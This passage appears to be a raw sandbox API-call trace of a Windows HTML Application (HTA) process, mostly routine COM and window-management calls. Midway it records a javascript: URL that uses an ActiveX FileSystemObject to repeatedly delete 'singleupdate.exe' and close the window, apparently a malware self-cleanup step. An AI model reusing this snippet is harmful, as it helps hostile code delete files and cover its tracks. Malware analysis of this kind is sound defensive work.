Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfedc4 | out: ppvObject=0xcfedc4*=0x0) returned 0x80004002 [0224.064] GetCurrentThreadId () returned 0xe0 [0224.064] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfed0c | out: ppv=0xcfed0c*=0x7376b5fc) returned 0x0 [0224.064] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.067] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfecb4 | out: ppvObject=0xcfecb4*=0x0) returned 0x80004002 [0224.067] IServiceProvider:QueryService (in: This=0xfe8c60, guidService=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfecb4 | out: ppvObject=0xcfecb4*=0x0) returned 0x80004002 [0224.067] GetCurrentThreadId () returned 0xe0 [0224.067] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfecc0 | out: ppv=0xcfecc0*=0x7376b5fc) returned 0x0 [0224.067] IClassFactory:CreateInstance (in: This=0x7376b5fc, pUnkOuter=0xfea1d8, riid=0x7410a57c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xfea218 | out: ppvObject=0xfea218*=0x4c6c0b0) returned 0x0 [0224.086] IUnknown_QueryService (in: punk=0xfea1d8, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0xcfece4 | out: ppvOut=0xcfece4*=0x4c4401c) returned 0x0 [0224.086] IUnknown:QueryInterface (in: This=0xfe8ca0, riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0xcfebb0 | out: ppvObject=0xcfebb0*=0x0) returned 0x80004002 [0224.086] IServiceProvider:QueryService (in: This=0xfe8c60, guidService=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72880bf4*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0xcfebb0 | out: ppvObject=0xcfebb0*=0x4c4401c) returned 0x0 [0224.086] GetCurrentThreadId () returned 0xe0 [0224.087] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7410a5ec*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xfea268 | out: ppvObject=0xfea268*=0x4c6c0cc) returned 0x0 [0224.087] IUnknown:AddRef (This=0xfea1d8) returned 0x7 [0224.088] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.088] IUnknown:QueryInterface (in: This=0x4c6c0cc, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0xcfedec | out: ppvObject=0xcfedec*=0x0) returned 0x80004002 [0224.088] IUnknown:QueryInterface (in: This=0xfea1d8, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0xcfedec | out: ppvObject=0xcfedec*=0x0) returned 0x80004002 [0224.088] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7410b1ac*(Data1=0x7daf9908, Data2=0x8415, Data3=0x4005, Data4=([0]=0x95, [1]=0xae, [2]=0xbd, [3]=0x27, [4]=0xf6, [5]=0xe3, [6]=0xdc, [7]=0x0)), ppvObject=0xcfedec | out: ppvObject=0xcfedec*=0x0) returned 0x80004002 [0224.088] IUnknown:AddRef (This=0x4c6c0cc) returned 0x8 [0224.088] IUnknown:AddRef (This=0xfea1d8) returned 0x8 [0224.088] IUnknown:AddRef (This=0x4c6c0b0) returned 0x0 [0224.088] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7410b184*(Data1=0xeb5cda44, Data2=0x5086, Data3=0x44fe, Data4=([0]=0xa9, [1]=0xb1, [2]=0xc6, [3]=0x42, [4]=0x13, [5]=0x53, [6]=0xa5, [7]=0x46)), ppvObject=0xcfed68 | out: ppvObject=0xcfed68*=0x0) returned 0x80004002 [0224.088] IUnknown:QueryInterface (in: This=0x4c6c0b0, riid=0x7410a5dc*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0xcfed8c | out: ppvObject=0xcfed8c*=0x0) returned 0x80004002 [0224.107] IUnknown:AddRef (This=0xfea1d8) returned 0xa [0224.107] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0xcfcd48, cchResult=0x1000, pcchResult=0xcfcd44, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", pcchResult=0xcfcd44) returned 0x0 [0224.108] DllGetClassObject (in: rclsid=0xfbd6f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfc808 | out: ppv=0xcfc808*=0x7376b5fc) returned 0x0 [0224.108] IUnknown:QueryInterface (in: This=0x7376b5fc, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfccec | out: ppvObject=0xcfccec*=0x7376b608) returned 0x0 [0224.108] IUnknown:Release (This=0x7376b5fc) returned 0x1 [0224.108] IInternetProtocolInfo:ParseUrl (in: This=0x7376b608, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('singleupdate.exe');close()}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0xcfcd48, cchResult=0x1000, pcchResult=0xcfcd44, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfcd44*=0xcfce90) returned 0x800c0011 [0224.108] IUnknown:Release (This=0x7376b608) returned 0x1 [0224.108] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x128) returned 0xfe7050 [0224.108] IUnknown:Release (This=0x4c6c0cc) returned 0xa [0224.108] IUnknown:Release (This=0xfea1d8) returned 0xa [0224.108] IUnknown:Release (This=0x4c6c0b0) returned 0x1 [0224.108] IUnknown:Release (This=0xfe6478) returned 0x2 [0224.108] IUnknown:Release (This=0xfd0730) returned 0x1 [0224.108] IUnknown:Release (This=0xfd1b94) returned 0x8 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x19 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x18 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x17 [0224.109] CoTaskMemFree (pv=0x0) [0224.109] GetCurrentThreadId () returned 0xe0 [0224.109] GetCurrentProcessId () returned 0xfe4 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x16 [0224.109] IUnknown:Release (This=0xfd1b94) returned 0x7 [0224.109] IUnknown:Release (This=0xfbd710) returned 0x3 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x15 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x14 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x13 [0224.109] IUnknown:Release (This=0xfbd710) returned 0x2 [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x12 [0224.109] CoTaskMemFree (pv=0xfe47c0) [0224.109] CoTaskMemFree (pv=0x0) [0224.109] IUnknown:Release (This=0xfd63dc) returned 0x11 [0224.109] CoTaskMemFree (pv=0xfe4690) [0224.110] GetClientRect (in: hWnd=0x30218, lpRect=0xcffa44 | out: lpRect=0xcffa44) returned 1 [0224.120] GetClientRect (in: hWnd=0x30218, lpRect=0x4c1c09c | out: lpRect=0x4c1c09c) returned 1 [0224.120] OffsetRect (in: lprc=0x4c1c09c, dx=0, dy=0 | out: lprc=0x4c1c09c) returned 1 [0224.120] OffsetRect (in: lprc=0x4c1c0ac, dx=0, dy=0 | out: lprc=0x4c1c0ac) returned 1 [0224.120] RegisterClassExW (param_1=0xcff710) returned 0xc0f8 [0224.120] CoCreateInstance (in: rclsid=0x728be490*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x728be4a0*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388a1f8 | out: ppv=0x7388a1f8*=0xfe5248) returned 0x0 [0224.372] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0xfe5248, aaClassList=0xcff7e4*=0xc0f8, uSize=0x1) returned 0x0 [0224.372] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc0f8, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=585, hWndParent=0x30218, hMenu=0x0, hInstance=0x726c0000, lpParam=0x4c20000) returned 0x8002e [0224.372] SetWindowLongW (hWnd=0x8002e, nIndex=-21, dwNewLong=79822848) returned 0 [0224.372] GetWindowLongW (hWnd=0x8002e, nIndex=-20) returned 0 [0224.372] GetAncestor (hwnd=0x8002e, gaFlags=0x2) returned 0x30218 [0224.372] GetWindowLongW (hWnd=0x30218, nIndex=-20) returned 262400 [0224.372] GetWindowLongW (hWnd=0x8002e, nIndex=-20) returned 0 [0224.373] GetParent (hWnd=0x8002e) returned 0x30218 [0224.373] GetWindowLongW (hWnd=0x30218, nIndex=-20) returned 262400 [0224.373] GetParent (hWnd=0x30218) returned 0x5020c [0224.373] GetWindowLongW (hWnd=0x5020c, nIndex=-20) returned 256 [0224.373] GetParent (hWnd=0x5020c) returned 0x0 [0224.373] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x81, wParam=0x0, lParam=0xcff370*=79822848, plResult=0xcff168 | out: plResult=0xcff168) returned 0x1 [0224.373] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x81, wParam=0x0, lParam=0xcff370) returned 0x1 [0224.373] GetCurrentThreadId () returned 0xe0 [0224.373] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.373] GetCurrentThreadId () returned 0xe0 [0224.373] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.373] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x1, wParam=0x0, lParam=0xcff370*=79822848, plResult=0xcff168 | out: plResult=0xcff168) returned 0x1 [0224.373] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x1, wParam=0x0, lParam=0xcff370) returned 0x0 [0224.373] GetCurrentThreadId () returned 0xe0 [0224.374] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.374] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x5, wParam=0x0, lParam=0x2490428, plResult=0xcff1b4 | out: plResult=0xcff1b4) returned 0x1 [0224.374] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x5, wParam=0x0, lParam=0x2490428) returned 0x0 [0224.374] GetCurrentThreadId () returned 0xe0 [0224.374] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.374] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x3, wParam=0x0, lParam=0x0, plResult=0xcff1b4 | out: plResult=0xcff1b4) returned 0x1 [0224.374] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0224.374] GetCurrentThreadId () returned 0xe0 [0224.374] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x210, wParam=0x1, lParam=0x8002e) returned 0x0 [0224.374] GetWindowRect (in: hWnd=0x8002e, lpRect=0xcff5c8 | out: lpRect=0xcff5c8) returned 1 [0224.374] GetParent (hWnd=0x8002e) returned 0x30218 [0224.374] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30218, lpPoints=0xcff5c8, cPoints=0x2 | out: lpPoints=0xcff5c8) returned -12189860 [0224.374] GetClassNameW (in: hWnd=0x30218, lpClassName=0xcff5d8, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0224.374] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0224.374] GetCurrentThreadId () returned 0xe0 [0224.374] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0xfe5248, fRestoreLayout=1) returned 0x0 [0224.374] SendMessageW (hWnd=0x8002e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0224.374] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.375] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x129, wParam=0x0, lParam=0x0, plResult=0xcff654 | out: plResult=0xcff654) returned 0x1 [0224.375] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0224.375] GetCurrentThreadId () returned 0xe0 [0224.375] LoadLibraryExW (lpLibFileName="ext-ms-win-ntuser-touch-hittest-l1-1-0.dll", hFile=0x0, dwFlags=0x0) returned 0x74b70000 [0224.375] GetProcAddress (hModule=0x74b70000, lpProcName="RegisterTouchHitTestingWindow") returned 0x74ba3b50 [0224.375] RegisterTouchHitTestingWindow (hwnd=0x8002e, value=0x1) returned 1 [0224.375] QISearch (in: that=0x4c1e480, pqit=0x726fb30c, riid=0x728be43c*(Data1=0xa5200748, Data2=0x18ae, Data3=0x4da5, Data4=([0]=0x93, [1]=0xaf, [2]=0x0, [3]=0x19, [4]=0x47, [5]=0x70, [6]=0x3, [7]=0xa1)), ppv=0x4c20e20 | out: that=0x4c1e480, ppv=0x4c20e20*=0x4c1e480) returned 0x0 [0224.375] IntersectRect (in: lprcDst=0xcff844, lprcSrc1=0x4c1c09c, lprcSrc2=0x4c1c0ac | out: lprcDst=0xcff844) returned 1 [0224.376] EqualRect (lprc1=0xcff844, lprc2=0x4c1c09c) returned 1 [0224.376] InvalidateRect (hWnd=0x8002e, lpRect=0x0, bErase=1) returned 1 [0224.376] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x9990) returned 0xfec6b0 [0224.376] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x110) returned 0xfe9a98 [0224.377] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xb0) returned 0xfe4820 [0224.377] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0224.377] GetCurrentProcessId () returned 0xfe4 [0224.377] ProcessIdToSessionId (in: dwProcessId=0xfe4, pSessionId=0xcff718 | out: pSessionId=0xcff718) returned 1 [0224.377] WTSGetActiveConsoleSessionId () returned 0x1 [0224.377] EnumDisplaySettingsW (in: lpszDeviceName=0x0, iModeNum=0xffffffff, lpDevMode=0xcff738 | out: lpDevMode=0xcff738) returned 1 [0224.377] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0224.377] GetCurrentThreadId () returned 0xe0 [0224.378] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x90) returned 0xfe9bb0 [0224.378] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x34) returned 0xfe6838 [0224.378] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x24) returned 0xfd3530 [0224.378] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x6c) returned 0xfe9c48 [0224.379] memcpy_s (in: _Destination=0xcfec00, _DestinationSize=0xc28, _Source=0x738821b0, _SourceSize=0xc28 | out: _Destination=0xcfec00) returned 0x0 [0224.412] QueryPerformanceCounter (in: lpPerformanceCount=0x4c20a00 | out: lpPerformanceCount=0x4c20a00*=22771456252) returned 1 [0224.412] GetCurrentThreadId () returned 0xe0 [0224.412] GetCurrentThreadId () returned 0xe0 [0224.412] GetCurrentThreadId () returned 0xe0 [0224.413] QueryPerformanceCounter (in: lpPerformanceCount=0xcff7b8 | out: lpPerformanceCount=0xcff7b8*=22771539293) returned 1 [0224.413] QueryPerformanceCounter (in: lpPerformanceCount=0xcff734 | out: lpPerformanceCount=0xcff734*=22771564801) returned 1 [0224.413] QueryPerformanceCounter (in: lpPerformanceCount=0xcff728 | out: lpPerformanceCount=0xcff728*=22771569811) returned 1 [0224.413] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6cc | out: lpPerformanceCount=0xcff6cc*=22771575282) returned 1 [0224.413] SetCoalescableTimer (hWnd=0x3020e, nIDEvent=0x2002, uElapse=0x1f4, lpTimerFunc=0x0, uToleranceDelay=0x0) returned 0x2002 [0224.413] GetWindowThreadProcessId (in: hWnd=0x3020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xe0 [0224.413] GetCurrentThreadId () returned 0xe0 [0224.413] QueryPerformanceCounter (in: lpPerformanceCount=0xcff6bc | out: lpPerformanceCount=0xcff6bc*=22771603438) returned 1 [0224.414] QueryPerformanceCounter (in: lpPerformanceCount=0xcff5dc | out: lpPerformanceCount=0xcff5dc*=22771639492) returned 1 [0224.414] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x374 [0224.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72a18920, lpParameter=0x4c5c000, dwCreationFlags=0x0, lpThreadId=0x4c5c014 | out: lpThreadId=0x4c5c014*=0xf9c) returned 0x230 [0224.415] SetEvent (hEvent=0x374) returned 1 [0224.415] GetTickCount () returned 0x37967 [0224.415] WTSGetActiveConsoleSessionId () returned 0x1 [0224.415] QueryPerformanceFrequency (in: lpFrequency=0xcff538 | out: lpFrequency=0xcff538*=100000000) returned 1 [0224.415] QueryPerformanceCounter (in: lpPerformanceCount=0xcff530 | out: lpPerformanceCount=0xcff530*=22771752393) returned 1 [0224.415] _vsnwprintf (in: _Buffer=0xcff5c0, _BufferCount=0x4f, _Format="VSyncHelper-%p-%I64x", _ArgList=0xcff54c | out: _Buffer="VSyncHelper-04C082D0-d92b193") returned 28 [0224.415] RegisterClassW (lpWndClass=0xcff598) returned 0xc16b [0224.415] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc16b, lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x4c082d0) returned 0x60044 [0224.416] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0224.416] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x24, wParam=0x0, lParam=0xcff0e4) returned 0x0 [0224.416] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0224.416] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x81, wParam=0x0, lParam=0xcff0d8) returned 0x1 [0224.417] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0224.417] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x83, wParam=0x0, lParam=0xcff0c4) returned 0x0 [0224.417] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0224.417] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x1, wParam=0x0, lParam=0xcff0d8) returned 0x0 [0224.419] SetWindowLongW (hWnd=0x60044, nIndex=-21, dwNewLong=79725264) returned 0 [0224.419] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x378 [0224.419] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x8000004, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28, lpName=0x0) returned 0x37c [0224.420] MapViewOfFile (hFileMappingObject=0x37c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x1300000 [0224.420] GetCurrentProcessId () returned 0xfe4 [0224.420] GetCurrentThreadId () returned 0xe0 [0224.420] GetSystemTimeAdjustment (in: lpTimeAdjustment=0xcff4b8, lpTimeIncrement=0xcff4cc, lpTimeAdjustmentDisabled=0xcff4bc | out: lpTimeAdjustment=0xcff4b8, lpTimeIncrement=0xcff4cc, lpTimeAdjustmentDisabled=0xcff4bc) returned 1 [0224.420] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x380 [0224.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72b09110, lpParameter=0x4c1c1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384 [0224.421] RegisterPowerSettingNotification (hRecipient=0x60044, PowerSettingGuid=0x728c21d0, Flags=0x0) returned 0xfcffa8 [0224.423] OpenProcess (dwDesiredAccess=0x100040, bInheritHandle=0, dwProcessId=0xfe4) returned 0x38c [0224.423] OpenThread (dwDesiredAccess=0x100040, bInheritHandle=0, dwThreadId=0xe0) returned 0x390 [0224.423] GetProcessIdOfThread (Thread=0x390) returned 0xfe4 [0224.423] GetWindowThreadProcessId (in: hWnd=0x60044, lpdwProcessId=0xcff510 | out: lpdwProcessId=0xcff510) returned 0xe0 [0224.423] GetCurrentProcess () returned 0xffffffff [0224.423] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x37c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0xcff518, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xcff518*=0x394) returned 1 [0224.423] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28) returned 0x1310000 [0224.424] GetCurrentProcess () returned 0xffffffff [0224.424] DuplicateHandle (in: hSourceProcessHandle=0x38c, hSourceHandle=0x378, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x4c2a8f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4c2a8f8*=0x398) returned 1 [0224.424] SetEvent (hEvent=0x380) returned 1 [0224.425] CloseHandle (hObject=0x394) returned 1 [0224.425] CloseHandle (hObject=0x38c) returned 1 [0224.425] SetEvent (hEvent=0x378) returned 1 [0224.426] SetWindowPos (hWnd=0x8002e, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0224.426] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.426] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x46, wParam=0x0, lParam=0xcff824*=524334, plResult=0xcff63c | out: plResult=0xcff63c) returned 0x1 [0224.426] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x46, wParam=0x0, lParam=0xcff824) returned 0x0 [0224.426] GetCurrentThreadId () returned 0xe0 [0224.427] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0224.427] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0xfe5248, hWnd=0x8002e, msg=0x47, wParam=0x0, lParam=0xcff824*=524334, plResult=0xcff638 | out: plResult=0xcff638) returned 0x1 [0224.427] NtdllDefWindowProc_W (hWnd=0x8002e, Msg=0x47, wParam=0x0, lParam=0xcff824) returned 0x0 [0224.427] GetCurrentThreadId () returned 0xe0 [0224.428] SetTimer (hWnd=0x8002e, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0224.428] GetFocus () returned 0x0 [0224.428] EnumChildWindows (hWndParent=0x8002e, lpEnumFunc=0x73046620, lParam=0xcff5ff) returned 0 [0224.428] GetFocus () returned 0x0 [0224.428] SetFocus (hWnd=0x8002e) returned 0x0 [0224.674] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x46, wParam=0x0, lParam=0xcff7dc) returned 0x0 [0224.674] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x46, wParam=0x0, lParam=0xcff7dc) returned 0x0 [0224.675] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x47, wParam=0x0, lParam=0xcff7dc) returned 0x0 [0224.676] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x47, wParam=0x0, lParam=0xcff7dc) returned 0x0 [0224.677] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0224.677] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0224.677] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 79725264 [0224.677] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0224.677] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x1c, wParam=0x1, lParam=0xa6c) returned 0x0 [0224.677] NtdllDefWindowProc_W (hWnd=0x30218, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0226.510] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0226.510] LoadLibraryExA (lpLibFileName="OLEACC.DLL", hFile=0x0, dwFlags=0x0) returned 0x71f20000 [0226.885] GetProcAddress (hModule=0x71f20000, lpProcName="LresultFromObject") returned 0x71f2f590 [0226.885] LresultFromObject () returned 0xc176 [0227.991] GetCurrentThreadId () returned 0xe0 [0227.992] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0227.993] SetErrorInfo (dwReserved=0x0, perrinfo=0x4c1a5f0) returned 0x0 [0228.442] GetWindowLongW (hWnd=0x8002e, nIndex=-21) returned 79822848 [0228.443] GetKeyState (nVirtKey=1) returned 0 